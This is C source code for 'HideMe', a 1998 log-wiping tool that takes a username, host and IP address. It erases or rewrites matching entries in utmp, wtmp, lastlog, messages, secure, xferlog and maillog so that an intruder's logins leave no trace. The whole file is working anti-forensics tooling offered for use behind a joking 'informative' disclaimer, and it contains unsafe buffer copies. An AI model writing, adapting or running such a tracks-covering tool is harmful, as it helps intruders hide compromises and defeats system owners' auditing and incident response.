/*
HideMe.c	Cleans Utmp, Wtmp, LastLog, Messages, XferLog, Secure,
		MailLog. Please check your brain connection before using
		since it does NO timestamp or CRC checking. Yet. ;)
		Usage: hideme <user> <host> <IP>
P.S.		check all logs dirs and edit this source accordingly.
*/

/************************************************************************
*			Written by fusys no (C)1998 			*
*	Yes. I coded this. No. I didn't leave this in your system.	*
*		Go check your local nasty user or cracker. 		*
*		For Informative and Non-Profit Fun only.  		*
*	I was not the first. I won't be the last. AMEN to that.		*
* YES. It seems today I don't have anything better to do. Go figure. ;) *
************************************************************************/

#include <fcntl.h>		/* as coder@reptile said:	*/
#include <utmp.h>		/* includes, what would we do	*/
#include <sys/types.h>		/* 	without them ?!		*/
#include <unistd.h>
#include <lastlog.h>
#include <stdio.h>
#include <pwd.h>

#define UTMP		"/var/run/utmp"		/* Understand ?!	*/
#define WTMP		"/var/log/wtmp"		/* If not, RTFM	...	*/
#define LASTLOG		"/var/log/lastlog"	/* Still in the myst ?	*/
#define MESSAGES	"/var/log/messages"	/* Please RTFMA ...	*/
#define SECURE		"/var/log/secure"	/* What now ?!!?	*/
#define XFERLOG		"/var/log/xferlog"	/* Ok I got it for ya:	*/	
#define MAILLOG		"/var/log/maillog"	/* Consider using W95 !	*/
#define MAXBUFF		8*1024

int main (int argc, char *argv[])
{
	struct utmp ut ;		/*   (C)1998 PNN	*/
	struct lastlog ll ;		/*  Pretty New Names	*/
	struct passwd *pass ;    
	int i, size, fin, fout ;
	FILE *lin ;
	FILE *lout ;
	char *varlogs[] = {MESSAGES, SECURE, XFERLOG, MAILLOG} ;
	char *newlogs[] = {"messages.hm", "secure.hm", "xferlog.hm", "maillog.hm"} ;
        char buffer[MAXBUFF] ;
	
	char ninja[10] ;		/* better isn't it ?!	*/
	char zaibatsu[100] ;		/* oh ... shut up ! :)	*/
	char zaibatsu_ip[17] ;

	if (argc!=4) {
		fprintf(stderr, "\nHideMe\n") ;
		fprintf(stderr, "Usage: %s <user> <host> <IP>\n\n", argv[0]) ;
		exit () ;
	}

	/***************************
	* OK Let's start with UTMP *
	***************************/
	size = sizeof(ut) ;
	strcpy (ninja, argv[1]) ;
	fin = open (UTMP, O_RDWR) ;
	if (fin < 0) {
		fprintf(stderr, "\nUh ? utmp target not locked. Getting outta here.\n") ;
		close (fin) ;
		exit () ;
	}
	else {
		while (read (fin, &ut, size) == size) {
			if (!strncmp(ut.ut_user, ninja, strlen(ninja))) {
				memset(&ut, 0, size) ;
				lseek(fin, -1*size, SEEK_CUR) ;
				write (fin, &ut, size) ;
			}
		}
		close (fin) ;
		printf("\nutmp target processed.") ;
	}

	/***************************
        * OK Let's go on with WTMP *
        ***************************/
	strcpy (zaibatsu, argv[2]) ;
        strcpy(zaibatsu_ip, argv[3]) ;
	
	fin = open(WTMP, O_RDONLY) ;
	if (fin < 0) {
		fprintf(stderr, "\nUh? wtmp target not locked. Getting outta here.\n") ;
		close (fin) ;
		exit () ;
	}
	fout = open("wtmp.hm", O_WRONLY|O_CREAT) ;
	if (fout < 0) {
		fprintf(stderr, "\nDamn! Problems targeting wtmp. Getting outta here.\n") ;	
		close (fout) ;
		exit () ;
	}
	else {
		while (read (fin, &ut, size) == size) {
			if ( (!strcmp(ut.ut_user, ninja)) || (!strncmp(ut.ut_host, zaibatsu, strlen(zaibatsu))) ) {  
				/* let it go into oblivion */  ;
			}
			else write (fout, &ut, size) ;
		}
		close (fin) ;
		close (fout) ;
		if ((system("/bin/mv wtmp.hm /var/log/wtmp") < 0) &&
		    (system("/bin/mv wtmp.hm /var/log/wtmp") == 127)) {
			fprintf(stderr, "\nAch. Couldn't replace %s .", WTMP) ;
		}
                system("/bin/chmod 644 /var/log/wtmp") ;
		printf("\nwtmp target processed.") ;
	}

	/***************************
        * OK Let's look at LASTLOG *
        ***************************/
	size = sizeof(ll) ;
	fin = open(LASTLOG, O_RDWR) ;
	if (fin < 0) {
		fprintf(stderr, "\nUh? lastlog target not locked. Getting outta here.\n") ;
		close (fin) ;
		exit () ;
	}
	else {
		pass = getpwnam(ninja) ;
		lseek(fin, size*pass->pw_uid, SEEK_SET) ;
		read(fin, &ll, size) ;
		ll.ll_time = 0 ;
		strncpy (ll.ll_line, "      ", 5) ;
		strcpy (ll.ll_host, " ") ;
		lseek(fin, size*pass->pw_uid, SEEK_SET) ;
		write(fin, &ll, size) ;
		close (fin) ;
		printf("\nlastlog target processed.\n") ;
	}
	
	/***************************
        * OK moving to /var ....   *
        ***************************/
	for (i=0;i<4;i++) {
		printf("Processing %s\t", varlogs[i]) ;
		lin = fopen (varlogs[i], "r") ;
		if (lin == 0) {
			fprintf(stderr, "\nHmmm. Couldn't reach var ...\n") ;
			fclose (lin) ;
			break ;
		}
		lout = fopen (newlogs[i], "w") ;
		if (lout == 0) {
			fprintf(stderr, "\nHmmm. Couldn't reach var ...\n") ;
			fclose (lout) ;
			break ;
		}
		else {
			while (fgets(buffer, MAXBUFF, lin) != NULL) {
				if ((!strstr(buffer, ninja)) && (!strstr(buffer, zaibatsu)) && (!strstr(buffer, zaibatsu_ip))) {
				fputs(buffer, lout) ;
				}
		        }
		}
		fclose (lin) ;
		fclose (lout) ;
		printf("		DONE.\n") ;
	}
	system ("mv messages.hm /var/log/messages");
	system ("mv secure.hm /var/log/secure");
	system ("mv xferlog.hm /var/log/xferlog");
	system ("mv maillog.hm /var/log/maillog");
	exit () ;
}

